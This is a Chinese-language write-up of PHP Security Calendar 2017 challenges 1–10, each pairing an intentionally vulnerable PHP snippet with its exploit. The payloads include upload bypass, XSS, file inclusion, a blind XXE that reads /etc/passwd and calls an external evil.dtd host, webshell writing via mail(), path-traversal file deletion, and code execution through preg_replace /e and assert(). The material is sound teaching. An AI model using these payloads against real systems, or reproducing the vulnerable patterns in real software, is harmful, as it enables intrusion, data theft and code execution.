PHP SECURITY CALENDAR 2017 (1-10題)
PHP SECURITY CALENDAR 2017 (1-10題)
Day 1 - Wish List
class Challenge { const UPLOAD_DIRECTORY = './solutions/'; private $file; private $whitelist; public function __construct($file) { $this->file = $file; $this->whitelist = range(1, 24); } public function __destruct() { if (in_array($this->file['name'], $this->whitelist)) { move_uploaded_file( $this->file['tmp'], self::UPLOAD_DIRECTORY . $this->file['name'] ); } } } $challenge = new Challenge($_FILES['solution']);
關鍵程式碼在__destruct解構函式中,使用in_array檢查$_FILES[‘solution’]上傳檔案的檔名name是否在1~24的範圍之內來選擇是否執行move_uploaded_file,由於沒有設定in_array的第三個引數導致了繞過檢查。
in_array :(PHP 4, PHP 5, PHP 7)
功能 :檢查陣列中是否存在某個值
定義 :
in_array(mixed $needle, array $haystack, bool $strict = false): bool
返回值 :bool
大海撈針,在 $haystack 中搜索 $needle ,如果沒有設定第三個引數
strict
則使用寬鬆的比較。啟用第三個引數為true,則會使用強比較,檢查型別是否也相同
例如檔名為 7shell.php 。因為PHP在使用 in_array() 函式判斷時,會將 7shell.php 強制轉換成數字7,而數字7在 range(1,24) 陣列中,最終繞過 in_array() 函式判斷,導致任意檔案上傳漏洞。
Day 2 - Twig
// composer require "twig/twig" require 'vendor/autoload.php'; class Template { private $twig; public function __construct() { $indexTemplate = '<img ' . 'src="https://loremflickr.com/320/240">' . '<a href="{{link|escape}}">Next slide »</a>'; // Default twig setup, simulate loading // index.html file from disk $loader = new Twig\Loader\ArrayLoader([ 'index.html' => $indexTemplate ]); $this->twig = new Twig\Environment($loader); } public function getNexSlideUrl() { $nextSlide = $_GET['nextSlide']; return filter_var($nextSlide, FILTER_VALIDATE_URL); } public function render() { echo $this->twig->render( 'index.html', ['link' => $this->getNexSlideUrl()] ); } } (new Template())->render();
這次考驗的是xss漏洞,用到的模板引擎Twig來輸出到頁面。關鍵點要繞過兩個函式escape和filter_var,在Twig模板引擎定義的 escape 過濾器來過濾link,而實際上這裡的 escape 過濾器,是用PHP內建函式 htmlspecialchars 來實現的。Twig
中的{{link|escape}}
中的escape的和PHP中的htmlspecialchars($link, ENT_QUOTES, 'UTF-8')
是一樣的,所以單引號和雙引號等都無法使用了
htmlspecialchars :(PHP 4, PHP 5, PHP 7)
功能 :將特殊字元轉換為 HTML 實體
& (& 符號) =============== & " (雙引號) =============== " ' (單引號) =============== ' < (小於號) =============== < > (大於號) =============== >
第二處過濾在 第22行 ,這裡用了 filter_var 函式來過濾 nextSlide 變數,且用了 FILTER_VALIDATE_URL 過濾器來判斷是否是一個合法的url。filter_var
的URL過濾非常的弱,只是單純的從形式上檢測並沒有檢測協議。測試如下:
var_dump(filter_var('example.com', FILTER_VALIDATE_URL)); # false
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL)); # http://example.com
var_dump(filter_var('xxxx://example.com', FILTER_VALIDATE_URL)); # xxxx://example.com
var_dump(filter_var('http://example.com>', FILTER_VALIDATE_URL)); # false
針對這兩處的過濾,我們可以考慮使用 javascript偽協議 來繞過,javascript://comment%250aalert(1)
這裡的 // 在JavaScript中表示單行註釋,所以後面的內容均為註釋,那為什麼會執行 alert 函式呢?那是因為我們這裡用了字元 %0a ,該字元為換行符,所以 alert 語句與註釋符 // 就不在同一行,就能執行。
後面的%250a其實是%0a的url編碼。這裡進行了二次編碼。因為payload發給伺服器後會解碼一次。通過javascript://comment
繞過filter_var
,最後得到javascript://comment%0aalert()
進入到<a href="{{link|escape}}">Next slide »</a>
剛好能夠觸發alert。
Day 3 - Snow Flake
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $data;
public function __construct($data) {
$this->data = $data;
}
public function render() {
if ($this->data['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
在第8行中的class_exists()
會檢查是否存在對應的類,當呼叫class_exists()
函式時會觸發使用者定義的__autoload()
函式,用於載入找不到的類。
class_exists :(PHP 4, PHP 5, PHP 7)
功能 :檢查類是否已定義
定義 :
bool class_exists ( string $class_name[, bool $autoload = true ] )
$class_name 為類的名字,在匹配的時候不區分大小寫。預設情況下 $autoload 為 true ,當 $autoload 為 true 時,會自動載入本程式中的 __autoload 函式;當 $autoload 為 false 時,則不呼叫 __autoload 函式。
除此之外,還有很多的函式在呼叫__autoload()
的方法,如下:
call_user_func()
call_user_func_array()
class_exists()
class_implements()
class_parents()
class_uses()
get_class_methods()
get_class_vars()
get_parent_class()
interface_exists()
is_a()
is_callable()
is_subclass_of()
method_exists()
property_exists()
spl_autoload_call()
trait_exists()
所以如果我們輸入../../../../etc/passwd
是,就會呼叫class_exists()
,這樣就會觸發__autoload()
中的include
產生任意檔案包含。前提是 PHP5~5.3版本 之間才可以,這個漏洞在PHP 5.4
中已經被修復了。
另一個是blind xxe
漏洞,由於存在class_exists()
,所以我們可以呼叫PHP的任意內建函式,並且通過$controller = new $controllerName($data);
進行例項化。這個時候就可以藉助與PHP中的SimpleXMLElement
類來完成XXE攻擊。
test2.php?c=SimpleXMLElement&d=<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://外網地址/evil.dtd">
%remote;
%send;
]>
Day 4 - False Beard
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<xml><user="%s"/><pass="%s"/></xml>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}
new Login($_POST['username'], $_POST['password']);
第8-9行進行了strpos
函式的過濾,然後把接收到的資料進行SimpleXMLElement
函式處理。其實這裡由於strpos
函式使用不當導致了注入問題。
strpos — 查詢字串首次出現的位置
作用:主要是用來查詢字元在字串中首次出現的位置。
var_dump(strpos('abcd','a')); # 0 var_dump(strpos('abcd','x')); # false
strpos
函式返回查詢到的子字串的下標。如果字串開頭就是我們要搜尋的目標,則返回下標 0 ;如果搜尋不到,則返回 false 。
由於PHP的自動型別轉換的關係,0
和false
是相等的,如下:
var_dump(0==false); # true
所以如果我們傳入的username
和password
的首位字元是<
或者是>
就可以繞過限制,那麼最後的pyaload就是:
username=<"><injected-tag%20property="&password=<"><injected-tag%20property="
最終傳入到$this->login($xmlElement)
的$xmlElement
值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml>
這樣就可以進行注入了。
Day 5 - Postcard
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}
return escapeshellarg($email);
}
public function send($data) {
if (!isset($data['to'])) {
$data['to'] = '[email protected]';
} else {
$data['to'] = $this->sanitize($data['to']);
}
if (!isset($data['from'])) {
$data['from'] = '[email protected]';
} else {
$data['from'] = $this->sanitize($data['from']);
}
if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}
if (!isset($data['message'])) {
$data['message'] = '';
}
mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}
$mailer = new Mailer();
$mailer->send($_POST);
程式碼中有個mail函式,如果第五個引數設定為-X,則可以寫入webshell
上面這個樣例中,我們使用 -X 引數指定日誌檔案,最終會在 /var/www/html/rce.php 檔案中寫入如下資料:
17220 <<< To: [email protected]
17220 <<< Subject: Hello Alice!
17220 <<< X-PHP-Originating-Script: 0:test.php
17220 <<< CC: [email protected]
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]
要到達mail函式,則需要經過兩個過濾filter_var
和escapeshellarg
filter_var :使用特定的過濾器過濾一個變數
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
功能 :這裡主要是根據第二個引數filter過濾一些想要過濾的東西。
filter_var() 問題在於,在雙引號中即使存在特殊字元,仍然能夠通過檢測為true。以下是一些有效通過的例子:
Valid email addresses:
[email protected]
[email protected]
[email protected]
[email protected]
user@[IPv6:2001:db8:1ff::a0b:dbd0]
"much.more unusual"@example.com
"[email protected]"@example.com
"very.(),:;<>[]".VERY."very@\ "very".unusual"@strange.example.com
postbox@com (top-level domains are valid hostnames)
admin@mailserver1 (local domain name with no TLD)
!#$%&'*+-/=?^_`{}|[email protected]
"()<>[]:,;@\"!#$%&'*+-/=?^_`{}| ~.a"@example.org
" "@example.org (space between the quotes)
üñîçøðé@example.com (Unicode characters in local part)
當然由於引入的特殊符號,雖然繞過了 filter_var() 針對郵箱的檢測,但是由於在PHP的 mail() 函式在底層實現中,呼叫了 escapeshellcmd() 函式,對使用者輸入的郵箱地址進行檢測,導致即使存在特殊符號,也會被 escapeshellcmd() 函式處理轉義,這樣就沒辦法達到命令執行的目的了。所以可以利用escapeshellarg和escapeshellcmd一起使用從而繞過。
escapeshellarg 函式轉義後,還會在左右各加一個單引號,但 escapeshellcmd 函式是直接加一個轉義符,對於成對的單引號, escapeshellcmd 函式預設不轉義。
當escapeshellcmd() 和 escapeshellarg 一起使用,會造成特殊字元逃逸,下面我們給個簡單例子理解一下:
-
傳入的引數是
127.0.0.1' -v -d a=1
-
由於
escapeshellarg
先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。所以處理之後的效果如下:'127.0.0.1'\'' -v -d a=1'
-
接著
escapeshellcmd
函式對第二步處理後字串中的\
以及a=1'
中的單引號進行轉義處理,結果如下所示:'127.0.0.1'\\'' -v -d a=1\'
-
由於第三步處理之後的payload中的
\\
被解釋成了\
而不再是轉義字元,所以單引號配對連線之後將payload分割為三個部分,具體如下所示:
所以這個payload可以簡化為 curl 127.0.0.1\ -v -d a=1'
,即向 127.0.0.1\
發起請求,POST 資料為 a=1'
。
Day 6 - Frost Pattern
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}
public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
在clearToken()
方法中的正則表示式[^a-z.-_]
,本意是將非a-z
、.
、-
、_
全部替換為空。這樣../../../
目錄穿越的方式就無法使用了,因為/
會被替換為空。
但是本題的問題在於[^a-z.-_]
中的-
沒有進行轉義。如果-
沒有進行轉義,那麼-
表示匹配一個列表,例如[1-9]
表示的數字1到9,但是如果[1\-9]
表示就是匹配字母1
、-
和9
。所以在本題中使用的[^a-z.-_]
表示的就是非ascii表中的序號為46至122的字母替換為空。那麼此時的../.../
就不會被匹配,就可以進行目錄穿越,從而造成任意檔案刪除了。
最後的pyload可以寫為:action=delete&data=../../config.php
Day 7 - Bells
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}
$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';
首先來看parse_url函式
用法:parse_url(string
$url
, int$component
= -1): [mixed]本函式解析一個 URL 並返回一個關聯陣列,包含在 URL 中出現的各種組成部分。
如果省略了
component
引數,將返回一個關聯陣列 array,在目前至少會有一個元素在該陣列中。陣列中可能的鍵有以下幾種:
- scheme - 如 http
- host
- port
- user
- pass
- path
- query - 在問號
?
之後- fragment - 在雜湊符號
#
之後
例如:http://username:password@hostname/path?arg=value#anchor則會輸出以下
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
在題目中的$var['query']
就是?後面的引數鍵值對。接下來看第二個函式parse_str
用法:parse_str(string,array)
parse_str() 函式把查詢字串解析到變數中。
例項
把查詢字串解析到變數中:
<?php parse_str("name=Peter&age=43"); echo $name."<br>"; echo $age; ?>
而這個parse_str
就是容易產生變數覆蓋漏洞的函式。同時$_SERVER['HTTP_REFERER']
也是可控的,那麼就存在變數覆蓋的漏洞了。
通過變數覆蓋漏洞,我們可以覆蓋掉$config
,使其在我們構造的資料庫中進行查詢,這樣就能夠保證我們能夠順利地進行通過驗證。
最後的payload如下:http://host/config[dbhost]=10.0.0.5&config[dbuser]=root&config[dbpass]=root&config[dbname]=malicious&id=1
Day 8 - Candle
header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
preg_replace
函式的/e模式會產生程式碼執行,下面是一個demo。第一個引數必須是匹配到第三個引數,第二個引數就會產生命令執行
preg_replace('/(.*)/e','phpinfo();','xxx');
preg_replace:(PHP 5.5)
功能 : 函式執行一個正則表示式的搜尋和替換
定義 :
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜尋 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 進行替換
我們可以通過控制 preg_replace 函式第1個、第3個引數,來執行程式碼。但是可被當做程式碼執行的第2個引數,卻固定為 'strtolower("\1")' 。
因為strtolower("\\1")
使用的是雙引號,而php中的雙引號能夠執行程式碼,比如
<?php
echo strtolower("{${phpinfo()}}");
?>
所以此處的strtolower("\\1")
就是\1
echo strtolower("\\1");
\1在正則表示式中表示反向引用,即引用正則第一次匹配到的值{${phpinfo()}}
,這樣就相當於執行了{${phpinfo()}}
那麼本題的最後的payload可以寫為/?.*={${phpinfo()}}
但是,如果GET請求的引數名存在非法字元,PHP會將其替換成下劃線,即 .*
會變成 _*
。所以 payload 變為了:
_*={${phpinfo()}}
這時候需要繞過 . 的話,可以利用以下payload,都是第一個引數匹配第三個引數,然後執行第二個引數的程式碼,反向引用了{${phpinfo()}}
導致程式碼執行
http://test.com/test.php/?{\${\w*\(\)}}={${phpinfo()}}
http://test.com/test.php/?\S*={${phpinfo()}}
Day 9 - Rabbit
class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}
private function getBrowserLanguage()
{
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}
private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}
(new LanguageManager())->loadLanguage();
這一題考察的是一個 str_replace 函式過濾不當造成的任意檔案包含漏洞。在上圖程式碼 第18行 處,程式僅僅只是將 ../ 字元替換成空,這並不能阻止攻擊者進行攻擊。例如攻擊者使用payload:....// 或者 ..././ ,在經過程式的 str_replace 函式處理後,都會變成 ../ ,所以上圖程式中的 str_replace 函式過濾是有問題的。
str_replace :(PHP 4, PHP 5, PHP 7)
功能 :子字串替換
定義 :
mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )
該函式返回一個字串或者陣列。如下:
str_replace(字串1,字串2,字串3):將字串3中出現的所有字串1換成字串2。
str_replace(陣列1,字串1,字串2):將字串2中出現的所有陣列1中的值,換成字串1。
str_replace(陣列1,陣列2,字串1):將字串1中出現的所有陣列1一一對應,替換成陣列2的值,多餘的替換成空字串。
那麼最後的請求的payload如下:
Accept-Language: .//....//....//etc/passwd
Day 10 - Anticipation
$pi = extract($_POST);
function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}
if (!isset($pi) || !is_numeric($pi)) {
goAway();
}
if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}
雖然這道題目存在extract($_POST);
,但並不存在變數覆蓋漏洞。 這個題目存在兩個關鍵的問題:
- 雖然做了pi值的防範,但是程式在header跳轉處理完之後,沒有使用
exit()
或者是die()
退出,導致後續的第11行程式碼任然可以執行。 assert()
能夠執行"
中的程式碼,如assert("(int)phpinfo()");
例如我們的payload為:pi=phpinfo() (這裡為POST傳遞資料),然後程式就會執行這個 phpinfo 函式。當然,你在瀏覽器端可能看不到 phpinfo 的頁面,而是像下面這樣的圖片:
但是用 BurpSuite ,大家就可以清晰的看到程式執行了 phpinfo 函式:
實際上,這種案例在真實環境下還不少。例如有些CMS通過檢查是否存在install.lock檔案,從而判斷程式是否安裝過。如果安裝過,就直接將使用者重定向到網站首頁,卻忘記直接退出程式,導致網站重灌漏洞的發生。